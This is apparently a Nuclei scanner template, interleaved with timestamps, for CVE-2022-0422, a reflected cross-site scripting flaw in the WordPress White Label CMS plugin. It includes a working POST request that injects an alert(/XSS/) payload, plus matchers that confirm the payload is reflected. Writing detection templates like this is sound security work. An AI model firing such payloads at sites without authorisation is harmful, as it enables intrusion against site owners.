2022-04-29 06:39:46 +00:00
id : CVE-2022-0422
info :
name : WordPress White Label MS < 2.2.9 - Reflected Cross-Site Scripting
author : random-robbie
severity : medium
2022-05-17 09:18:12 +00:00
description : The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue back in the response, leading to reflected cross-site scripting.
2022-04-29 06:39:46 +00:00
reference :
- https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422
2022-05-17 09:18:12 +00:00
- https://plugins.trac.wordpress.org/changeset/2672615
2022-04-29 06:40:08 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-05-17 09:18:12 +00:00
cvss-score : 6.1
2022-04-29 06:40:08 +00:00
cve-id : CVE-2022-0422
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : cve,cve2022,wordpress,xss,wp-plugin,wpscan
2022-04-29 06:39:46 +00:00
requests :
- raw :
- |
POST /wp-login.php?wlcms-action=preview HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B
matchers-condition : and
matchers :
- type : word
part : body
words :
- "alert(/XSS/);"
- type : word
part : body
words :
- "wlcms-login-wrapper"
- type : word
part : header
words :
- text/html
- type : status
status :
- 200